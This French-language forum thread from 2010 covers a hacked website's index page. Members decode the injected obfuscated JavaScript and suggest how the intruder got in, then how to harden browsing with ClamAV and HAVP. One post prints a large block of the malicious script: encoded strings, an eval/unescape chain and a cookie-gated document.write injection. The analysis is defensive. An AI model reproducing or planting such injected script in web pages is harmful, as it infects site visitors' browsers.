décodage fichier virus

Forum ayant pour theme les virus, les vers de messagerie, les chevaux de troie, les anti-trojans, les spywares et les anti-virus

Modérateur: modos Ixus

décodage fichier virus

Messagepar hb » 20 Avr 2010 22:26

Bonsoir,

il y a fort longtemps de je ne suis pas repassé ici ...
j'ai un petit malin qui m'a remplacé mes fichiers index.htm de mon site web par le sien.
Son fichier contient un script java indéchiffrable pour moi j'ignore donc le mal qu'il peut occasionner
et c'est précisément ce que je voudrais savoir.
mon antivirus 'ANTIVIR' m'annonce un HTML/CRYPTED GEN
mais ça ne me dit toujours pas ce que ça fait !
ci joint le lien vers le fichier :

http://herve.baron.free.fr/index.txt

je voudrais aussi savoir, selon vous, comment a t il pu déposer ce fichier sur mon site afin de l'empecher de recommencer.
sachant que le site comportait, à l'origine, une page index vide .

merci pour votre aide
Avatar de l’utilisateur
hb
Amiral
Amiral
 
Messages: 1513
Inscrit le: 06 Juin 2002 00:00
Localisation: Nord Isere, 50kms Lyon

Messagepar jdh » 20 Avr 2010 22:56

Ce script est de la forme

$a="....";
function z(s){r="";for(i=0;i<s.length;i++){if(s.charAt(i)=="Z"){s1="%"}else{s1=s.charAt(i)}r=r+s1;}return unescape(r);}
eval(z($a));

Clairement a$ est une chaine transcodée par la fonction z et le résultat est "évaluée".
(le transcodage consiste à remplacer Z par %, puis "unescape")

Cette fonction eval est un danger énorme puisque cela permet de d'exécuter une instruction calculée.
Ce qui peut-être une astuce devient ici dangereux.

Pour connaitre la réalité, il suffit de remplacer eval par print (document.write ?).
Je ne l'ai pas fait mais cela doit donner le texte réel exécuté.


Un serveur web c'est aussi un serveur ftp.
Si l'identifiant et le mot de passe peuvent être trouvé par force brute, il devient aisé de mettre un fichier.

Dès qu'un site permet d'uploader un fichier ou propose un formulaire, il y a possibilité de trouver une faille. L'upload de fichier peut éventuellement charger une fichier qui sera placé au mauvais endroit. Une saisie d'un champ qui est ensuite inséré dans une base (MySQL la plupart du temps) peut-être l'occasion d'une exécution d'une instruction SQL.

...
Avatar de l’utilisateur
jdh
Amiral
Amiral
 
Messages: 4741
Inscrit le: 29 Déc 2002 01:00
Localisation: Nantes

Messagepar Franck78 » 21 Avr 2010 01:20

c'est une méthode d'obfuscation du code qui est utilisée la-dedans. Très $%#&! à reconstruire le source d'origine. ainsi le début donne ceci:

Code: Tout sélectionner
dd="q|se|qdu]qwys^e}rub8tqi<0}%7F~dx<0iuqb<0y~tuh9kbudeb~0888iuqb0;08y~tuh0:0tqi990;08}%7F~dx0N0tqi90:0y~tuh90;0tqi9+mfqb0iuqbSx!<0iuqbSx%22<0}%7F~dxSx<0tqiSx<0}qwys^e}+~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7M<0dy}uK7}%7F~dx7M<0dy}uK7iuqb7M<0cxyvdY~tuh9+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060%20hQQ90;0~e}9050%26#9050%22%26M0;0|uddubcK888dy}uK7iuqb7M060%20hQQ90,,0%2290;0~e}9050%22%M+";
cu="(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:w{y;xp;v}zfsz%26;64c}p`|)%$$4|q}s|`),$*(;}rfuyq*(;p}b*";
cb="73);%73t%3dtm%70%3d%27%27;for(i%3d0;i%3cds%2el%65ngt%68;";
da="fqb0t-7vrs}vyb>s%7F}7+0fqb0cxyvdY~tuh0-0%20+fqb0}%7F~dxc0-0~ug0Qbbqi87e~%7F7<07tfu7<07dxb7<07vyb7<07fyv7<07huc7<07fuc7<07wxd7<07u~y7<07ud~7<07|uf7<07dgu79+fqb0|uddubc0-0~ug0Qbbqi87q7<7r7<7s7<7t7<7u7<7v7<7w7<7x7<7y7<7z7<7{7<7|7<7}7<7~7<7%7F7<7`7<7a7<7b7<7c7<7d7<7e7<7f7<7g7<7h7<7i7<7j79+fqb0~e}rubc0-0~ug0Qbbqi8!<%22<#<$<%<%26<'<(<)9+fqb0dy}u0-0~ug0Qbbqi89+fqb0tqdu0-0~ug0Tqdu8";
dz="%66%75%6ec%74%69o%6e dw%28t)%7b%63%61%3d%27%2564%256f%2563%2575m%65n%257%34.%2577r%69%2574%2565(%252%32%27;c%65%3d%27%2522)%27;cb%3d%27%253cscr%2569%2570%74 %256ca%25%36eg%25%375%61%67e%253d%255c%252%32ja%76%2561%73c%2572i%2570t%255c%2522%253e%27;%63%63%3d%27%253c%255c%252fscrip%257%34%253e%27;eva%6c(un%65%73ca%70e(t%29)%7d;";
st="%73t%3d%22%24%61%3ds%74;%64c%73(%64a%2bd%62%2bd%63+%64%64+%64%65,%31%30%29;%64%77%28%73t%29;%73t%3d%24%61;%22%3b";
cd="s%74%2b%53tri%6eg%2efr%6f%6dCh%61rCo%64e%28(t%6d%70%2e%6";
dc="0!9+0yv08tqdu>wud]%7F~dx89;!0,0!%209kcxyvdY~tuh0-0dy}uK7iuqb7M0;07=%2070;08tqdu>wud]%7F~dx89;!90+mu|cukcxyvdY~tuh0-0dy}uK7iuqb7M0;07=70;08tqdu>wud]%7F~dx89;!9+myv08tqdu>wudTqdu890;!0,0!%209kcxyvdY~tuh0-cxyvdY~tuh0;07=%2070;0tqdu>wudTqdu89+mu|cukcxyvdY~tuh0-0cxyvdY~tuh0;07=70;0tqdu>wudTqdu89+mcxyvdY~tuh0-0gy~t%7Fg>dg>dbu~tcKcxyvdY~tuhMK%20M>aeubi>sxqbS%7FtuQd8!9+ve~sdy%7F~0S";
ca="%66u%6ecti%6fn d%63s(%64s%2ces)%7bds%3dune%73cap%65(%64%";
cz="%66unc%74i%6fn%20%63z(c%7a)%7br%65tu%72n %63%61+%63b+c%63+%63d+c%65+%63z%3b}%3b";
ce="3har%43ode%41t%280)^%28%270%78%300%27+e%73%29));%7d}";
db="9+tqdu>cudTqdu8tqdu>wudTqdu890=0#9+0dy}uK7iuqb7M0-0tqdu>wudVe||Iuqb89+dy}uK7}%7F~dx7M0-0tqdu>wud]%7F~dx89;!+dy}uK7tqi7M0-0tqdu>wudTqdu89+yv08tqdu>wudTqi890--0!0ll0tqdu>wudTqi890--0%260ll0tqdu>wudTqi890--0$9ktqdu>cudTqdu8tqdu>wudTqdu890=0!9+0dy}uK7tqi7M0-0tqdu>wudTqdu89+0dy}uK7}%7F~dx7M0-0tqdu>wud]%7F~dx89;!+0dy}uK7iuqb7M0-0tqdu>wudVe||Iuqb89+0m0tqdu>cudTqdu8tqdu>wudTqdu890;";
op="%24%61%3d%22d%77(d%63s(c%75,14%29)%3b%22;";
cc="%69+%2b)%7btmp%3dd%73%2e%73li%63e%28i%2ci+%31)%3bs%74%3d";
de="iuqbSx%220-0|uddubcK8888dy}uK7iuqb7M060%20h##!!90..0#90;0~e}9050!%209M0;0|uddubcK8888dy}uK7iuqb7M060%20h##!!90..0$90;0~e}9050!%209M+}%7F~dxSx0-0|uddubcK88dy}uK7}%7F~dx7M0;0~e}9050%22%9M0;0|uddubcK88dy}uK7}%7F~dx7M0:0~e}9050%22%9M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0%269050%22'9M+4q-4q>bu`|qsu8ts%7F}79+";

if (document.cookie.indexOf('rf5f6ds')==-1){
    function callback(x){
   window.tw = x;
   sc('rf5f6ds',2,7);
   eval(unescape(dz+cz+op+st)+'dw(dz+cz($a+st));');
   document.write($a);
    }
    document.write(" " + "");
}
else
{$a=''};

function sc(cnm,v,ed){
    var exd=new Date();
    exd.setDate(exd.getDate()+ed);
    document.cookie=cnm+ '=' +escape(v)+'; expires='+exd.toGMTString();
};



il faut continuer a déobsfuscer le code contenu dans les variables dz cz op st,... en prenant bien soin de coler le tout dans l'ordre.

Comme je suis mauvais en javascript, je pige pas l'utilité d'un "window.tw = x"

Code: Tout sélectionner
eval(unescape(dz+cz+op+st)+'dw(dz+cz($a+st));');

cette ligne par exemple décode la fontion dw juste avant de l'appeller, et ca dans la même instruction.

On comprend déjà que ca commence par construire un cookie qui vivra 7 jours avec cmn=2.
Mais que c'est aussi très $%#&! à recontruire ;-)

La fonction dw
unescape(dz+cz+op+st)
function dw(t) {
ca='%64%6f%63%75men%74.%77ri%74%65(%22';
ce='%22)';
cb='%3cscr%69%70t %6ca%6eg%75age%3d%5c%22jav%61sc%72i%70t%5c%22%3e';
cc='%3c%5c%2fscrip%74%3e';
eval(unescape(t))
};
Avatar de l’utilisateur
Franck78
Amiral
Amiral
 
Messages: 5625
Inscrit le: 20 Fév 2004 01:00
Localisation: Paris

Messagepar jdh » 21 Avr 2010 06:30

Je me doutais que Franck78 irait plus loin que moi : j'ai juste remplacé eval par document.write et obtenu le code donné par Franck78 et j'ai pas été plus loin !

J'aurais du continuer par la recherche sur G. avec le mot clé "Z64dZ3dZ22q"

Le 1er lien pertinent AMHA est http://blog.unmaskparasites.com/2009/11 ... s-scripts/ qui parle de Twitter

Le lien (en français) http://www.siteduzero.com/forum-83-4602 ... de-js.html semble donner avec le dernier post le fin mot avec une attaque sur AdobeReader mais le code est différent à partir du 30ième ou 40 ième caractères ! Ce qui montre que l'obfuscation est une réutilisation !

Un 3ième fil (en italien) http://www.ipwebdesign.it/2009/11/htmlc ... -e-joomla/ parle de faiblesse de wordpress ou joomla ...



Comme source de remplacement de page web : l'utilisation d'un cms tel joomla, wordpress, dotclear, ... NON A JOUR devient possible de la même façon que les vulnérabilités usuelles de Windows ou linux. maj antivirus, antispy, windows update et application patch cms sont les mamelles de la sécurité de base ...

Peut-être une autre recherche avec "Z64dZ3dZ22q joomla" si joomla ...


@Franck78 : je cherchais le mot obfuscation ! Bravo mais il y a double, triple, ... obfuscation
Avatar de l’utilisateur
jdh
Amiral
Amiral
 
Messages: 4741
Inscrit le: 29 Déc 2002 01:00
Localisation: Nantes

Messagepar Franck78 » 21 Avr 2010 09:29

oui il y a plusieurs niveau. dw(t) le montre bien. Mais comme j'avais pas envie d'apprendre javascript et notament la 'portée' des variables j'ai pas poussé plus.

Par contre je pense que ta chaine de recherche dans google est mauvaise.

Dans cet exemple précis, c'est 'Z' qui sert à changer l'apparence (disons crypter) le code obfusqué.
Et il y a 26 lettres au moins. Et des chiffres. Et des signes :!: (c'est pour que les antivirus aient du mal à reperer la signature).


Une recherche sur un fragment obfusqué serait peut être plus efficace ?
Franck
L'art de poser une question sur ce site afin d'obtenir la réponse
A LIRE
Avatar de l’utilisateur
Franck78
Amiral
Amiral
 
Messages: 5625
Inscrit le: 20 Fév 2004 01:00
Localisation: Paris

Messagepar jdh » 21 Avr 2010 10:18

Dans les liens que j'ai indiqué, le premier semble être le bon (la partie du code indiqué est entièrement juste).
Ce qui me mets la puce à l'oreille c'est que, dans le lien en français, le code commence identiquement jusqu'au 30ième caractère.
Ce qui m'induit que c'est bien une attaque "Crypt/Generic" : une méthode générique de cryptage qui peut aboutir sur plusieurs attaques différentes : on voit à la fois la versabilité des pirates mais aussi la réutilisation !

Je ne suis pas spécialiste AV ni en javascript.
Mais je confirme le peu de doc sur un éventuel objet window.tw (tw=twitter ?).
Et je confirme que cela plante allègrement un firefox y compris sous linux/ubuntu (et avec reboot nécessaire !)

Hors l'étude par reverse, par curiosité intellectuelle (que je te connais ... comme moi) et par gout d'apprendre plus à fond javascript, je ne vois pas trop l'intérêt de poursuivre très lontemps : c'est typique d'une infiltration via un cms/blog non mis à jour, l'objectif final réel n'a peu d'intérêt pratique : je me débarrasserai au plus vite de cette m.e.r.d.e. (Je ne laisserai pas tout le code qui tu as traduit)

Néanmoins, le fil montre que,
- sans update y compris sur cms/blog, on finit par être largement attaqué de toute part,
- prudence est mère de sureté,
- curiosité plus prudence améliore l'analyse.

Je me méfie assez des patchs de cms/blog que de serveur ftp.


NB : sur G le caractère | a une signification, donc j'ai coupé la chaine juste avant ... ce qui ramène quand même déjà pas mal de liens (222). On peut être certain du caractère "malin" du script.
Avatar de l’utilisateur
jdh
Amiral
Amiral
 
Messages: 4741
Inscrit le: 29 Déc 2002 01:00
Localisation: Nantes

Messagepar Muzo » 21 Avr 2010 22:15

Salut,

Pour mémoire, j'avais un pote qui avais un cas similaire, mais sur un osCommerce. En gros le script allais sur un site en .cn et faisait télécharger un cheval de troie.

Le but étant d'infecter tous les clients du site.

En conclusion:
1- tu as une faille quelque part qui fait que l'on peut modifier tes fichiers
2- si tu as une sauvegarde écrase tout ton site avec la sauvegarde
3- change le mot de passe d'accès ftp.

Voili

/Muzo
/Muzo
"La vie n'est pas un combat, mais une passion à défendre!" MASS HYSTERIA - Knowledge is power
Avatar de l’utilisateur
Muzo
Amiral
Amiral
 
Messages: 5236
Inscrit le: 07 Mai 2003 00:00
Localisation: BNF! Je me culturise.

Messagepar jdh » 01 Mai 2010 07:22

Comme beaucoup, j'ai basculé mes pc perso sur Ubuntu ... qui ne comporte pas d'antivirus ! (adieu les avast, antivir ou autre avg pour des versions gratuites ...)

Le lien indiqué par hb apporte donc un virus qui peut planter firefox comme je l'indique.

Mais la pérégrination sur des sites douteux (je ne dirais pas lesquels) peut alors poser problème : ce n'est pas parce qu'on est sous Ubuntu/Linux et avec Firefox que l'on ne finira pas par exécuter une m.e.r.d.e sous javascript comme exposé par hb !!

Comment sécuriser sa navigation (sous Linux et sans antivirus) ?

Il est clair qu'il faut avoir un antivirus : clamav est tout indiqué !
Donc install de clamav + mise à jour par fleshclam.

Soit on utilise l'addons fireclam pour firefox,
Soit on install havp.

Petit guide pratique (ubuntu lynx) :

Code: Tout sélectionner
sudo apt-get install havp       / installera aussi clamav
sudo freshclam                  / mise à jour forcée de clamav
sudo /etc/init.d/havp restart
puis config de firefox avec le proxy 127.0.0.1 port 8080


Ensuite impossible de charger dans un onglet le code indiqué par hb ! (NB : il reste hélas possible de télécharger !!!)

Vous disposer d'une analyse antivirale (clamav) localement, au niveau de votre desktop, et sans disposer d'un proxy. Yesss !

NB : ne fonctionne pas avec ftp !
Avatar de l’utilisateur
jdh
Amiral
Amiral
 
Messages: 4741
Inscrit le: 29 Déc 2002 01:00
Localisation: Nantes

Messagepar Stirner » 01 Mai 2010 12:56

jdh a écrit:Comme beaucoup, j'ai basculé mes pc perso sur Ubuntu ... qui ne comporte pas d'antivirus ! (adieu les avast, antivir ou autre avg pour des versions gratuites ...)

Le lien indiqué par hb apporte donc un virus qui peut planter firefox comme je l'indique.

Mais la pérégrination sur des sites douteux (je ne dirais pas lesquels) peut alors poser problème : ce n'est pas parce qu'on est sous Ubuntu/Linux et avec Firefox que l'on ne finira pas par exécuter une m.e.r.d.e sous javascript comme exposé par hb !!

Comment sécuriser sa navigation (sous Linux et sans antivirus) ?

Il est clair qu'il faut avoir un antivirus : clamav est tout indiqué !
Donc install de clamav + mise à jour par fleshclam.

Soit on utilise l'addons fireclam pour firefox,
Soit on install havp.

Petit guide pratique (ubuntu lynx) :

Code: Tout sélectionner
sudo apt-get install havp       / installera aussi clamav
sudo freshclam                  / mise à jour forcée de clamav
sudo /etc/init.d/havp restart
puis config de firefox avec le proxy 127.0.0.1 port 8080


Ensuite impossible de charger dans un onglet le code indiqué par hb ! (NB : il reste hélas possible de télécharger !!!)

Vous disposer d'une analyse antivirale (clamav) localement, au niveau de votre desktop, et sans disposer d'un proxy. Yesss !

NB : ne fonctionne pas avec ftp !


Merci Mister
Avatar de l’utilisateur
Stirner
Vice-Amiral
Vice-Amiral
 
Messages: 777
Inscrit le: 06 Jan 2006 07:45
Localisation: Calva...Dos...

Messagepar Muzo » 03 Mai 2010 09:47

Merci! :)

/Muzo
/Muzo
"La vie n'est pas un combat, mais une passion à défendre!" MASS HYSTERIA - Knowledge is power
Avatar de l’utilisateur
Muzo
Amiral
Amiral
 
Messages: 5236
Inscrit le: 07 Mai 2003 00:00
Localisation: BNF! Je me culturise.


Retour vers Virus et Anti-virus

Qui est en ligne ?

Utilisateur(s) parcourant actuellement ce forum : Aucun utilisateur inscrit et 1 invité

cron